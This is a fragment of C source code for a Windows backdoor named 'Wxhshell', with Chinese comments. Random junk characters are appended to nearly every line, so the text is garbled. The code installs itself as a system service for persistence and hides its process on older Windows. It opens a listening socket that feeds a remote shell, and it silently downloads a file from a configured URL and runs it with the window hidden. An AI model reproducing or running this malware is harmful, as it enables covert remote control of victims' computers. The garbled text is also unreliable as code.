DWORD ExitStatus; &P+7Um(
DWORD PebBaseAddress; E%R^
kqqr
DWORD AffinityMask; >~;MQDU5*Y
DWORD BasePriority; Kq`C5
ULONG UniqueProcessId; y^7ol;t
ULONG InheritedFromUniqueProcessId; {Vc%g a|E
} PROCESS_BASIC_INFORMATION; dQ4VpR9|;
%J*z!Fe8s
PROCNTQSIP NtQueryInformationProcess; 6} DGEHc1
CM}1:o<<N
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y*Egt `W
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #6XN_<
B{\cV-X$0
HANDLE hProcess; 0JQ0lzk1
PROCESS_BASIC_INFORMATION pbi; K#j<G]I( @
LX%K*nlj
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J 3oEN'8S
if(NULL == hInst ) return 0; ubC(%Y_k
`yjHLg
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]9xuLJ)
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '@Zau\xC
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B8+J0jdg6%
|5uvmK
if (!NtQueryInformationProcess) return 0; I3;{II
EXlmIY4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vvJ{fi
if(!hProcess) return 0; s
"KPTV
$T\W'WR>
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [@!.( Hp
<h(KIY9T
CloseHandle(hProcess); XcOfQs
AXUSU(hU
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _:hrm%^
if(hProcess==NULL) return 0; o:H^
L,<Tl
nXgnlb=
HMODULE hMod; Yp_ L.TTb
char procName[255]; C-
Aiv@@<=
unsigned long cbNeeded; :]EAlaB4Q
nz72w_
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hE|Z~5\Y,>
p.{M s n
CloseHandle(hProcess); V3%"z
3;M7^DM
if(strstr(procName,"services")) return 1; // 以服务启动 <eU1E}BDQ
\Tf$i(0q
return 0; // 注册表启动 t')47k\
} i$~2pr
6jv_j[[
// 主模块 d~bZOy
int StartWxhshell(LPSTR lpCmdLine) ao4"=My*G
{ {!?
@u?M
SOCKET wsl; U(lcQC`$
BOOL val=TRUE; ~U] "dbQ
int port=0; wul$lJ?tE
struct sockaddr_in door; K?;_T$^K
T&M*sydA
if(wscfg.ws_autoins) Install(); ?C('
z7
)
>_xHc ?
port=atoi(lpCmdLine); Vu
@2
~vqVASUc,
if(port<=0) port=wscfg.ws_port; |Ai/q6u
(0L7Ivg<
WSADATA data; 3NI3b-7
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pkW }\r
3V)ef$Y0
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; zf@gA vJ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N?xZ]?T
door.sin_family = AF_INET; )e#KL$B)v
door.sin_addr.s_addr = inet_addr("127.0.0.1"); =fJDFg
door.sin_port = htons(port); !Zowe*`
qOA+ao
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?hqHTH:PU
closesocket(wsl); D{-h2=V
return 1; "4Joou"U
} vNMndo!
]} D^?g^
if(listen(wsl,2) == INVALID_SOCKET) { KpHt(>NR
closesocket(wsl); p~Tp=d)/
return 1; glMYEGz6p
} jZjWz1+
Wxhshell(wsl); o!R.QI^2VT
WSACleanup(); ,g69 ?w
r[doN{%
return 0; 75@!j[QL<
cB$OkaG#
} oXC|q-(C
bjn: e!}
// 以NT服务方式启动 1D*oXE9Ig
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fL0dy[Ch@
{ 9((BOq
DWORD status = 0; ~m/nV81
DWORD specificError = 0xfffffff; Xk9mJ]31LC
A
-C.Bi;/
serviceStatus.dwServiceType = SERVICE_WIN32; ew13qpt)<L
serviceStatus.dwCurrentState = SERVICE_START_PENDING; -L4fp
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
Nk.m$
serviceStatus.dwWin32ExitCode = 0; $|kq{@<
serviceStatus.dwServiceSpecificExitCode = 0; ^Rr!YnEN
serviceStatus.dwCheckPoint = 0; ?c G~M|@
serviceStatus.dwWaitHint = 0; 2C6o?*RjyY
mLEJt,X
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v'Y0|9c
if (hServiceStatusHandle==0) return; &a;{ed1B
!,Ou:E?Bb
status = GetLastError(); @nC][gNv
if (status!=NO_ERROR) b 7XTOB_HO
{ ^T?zR7r
serviceStatus.dwCurrentState = SERVICE_STOPPED; KT5amct
serviceStatus.dwCheckPoint = 0; A-n@:` n~
serviceStatus.dwWaitHint = 0; Mi>!
serviceStatus.dwWin32ExitCode = status; ZmLA4<
serviceStatus.dwServiceSpecificExitCode = specificError; pZE}<EX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); QN4{xf:}S
return; BlLK6"gJT
} /9SEW!E
Y ~TR`y
serviceStatus.dwCurrentState = SERVICE_RUNNING; `w&A;fR!H
serviceStatus.dwCheckPoint = 0; <{ER#}b:O
serviceStatus.dwWaitHint = 0; L3/SIoqd
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^}w@&Bje
} %bN+Y'
:d AC:h
// 处理NT服务事件,比如:启动、停止 }3825
VOID WINAPI NTServiceHandler(DWORD fdwControl) "[wkjNf%
{ JXx[e
switch(fdwControl) Mb!b0
{ w3n6md
case SERVICE_CONTROL_STOP: `49: !M$i
serviceStatus.dwWin32ExitCode = 0; }WowgY
serviceStatus.dwCurrentState = SERVICE_STOPPED; c-jE1y<
serviceStatus.dwCheckPoint = 0; {PGiNY%q
serviceStatus.dwWaitHint = 0; u=6LPwiI
{ !_?K(X~/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Yk!R9.
} {6I)6}w!k
return; r,43 gg
case SERVICE_CONTROL_PAUSE: 0hNgr'
serviceStatus.dwCurrentState = SERVICE_PAUSED; T'ko =k
break; BvnNAi
case SERVICE_CONTROL_CONTINUE: <)68ol~<
serviceStatus.dwCurrentState = SERVICE_RUNNING; q`Rc \aWB%
break; .](~dVp%~
case SERVICE_CONTROL_INTERROGATE: @u>:(9bp
break; gzMp&J
}; |e QwI&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); KgH_-REN
} 1
$m[#3
lcX'n8/3
// 标准应用程序主函数 Qi= pP/Y
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !g.?+~@
{
K^ 5f
}R9>1u}6
// 获取操作系统版本 e0"80"D
OsIsNt=GetOsVer(); ]lqe,>
GetModuleFileName(NULL,ExeFile,MAX_PATH); (v,g=BS,
;hgRMkmz4<
// 从命令行安装 qo*%S
if(strpbrk(lpCmdLine,"iI")) Install(); ;hV-*;>
,I2x&Ys&.
// 下载执行文件 "d; T1
if(wscfg.ws_downexe) { 9Ai3p
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CcJ%;.V,T
WinExec(wscfg.ws_filenam,SW_HIDE); I3.cy i
} Op_(10|
3/{,}F$
if(!OsIsNt) { j5:/Gl8
// 如果时win9x,隐藏进程并且设置为注册表启动 C JYpgSr
HideProc(); WHy
r;m3)
StartWxhshell(lpCmdLine); 3j6Am{9
} ?mp}_x#=
else :|HCUZ*H(T
if(StartFromService()) ==Ah& ){4^
// 以服务方式启动 t"$#KP<
StartServiceCtrlDispatcher(DispatchTable); ysH'X95
else MqAN~<l [
// 普通方式启动 0woLB#v9
StartWxhshell(lpCmdLine); uj~(r=%
~]Weyb[N
return 0; ["H2H rI2
}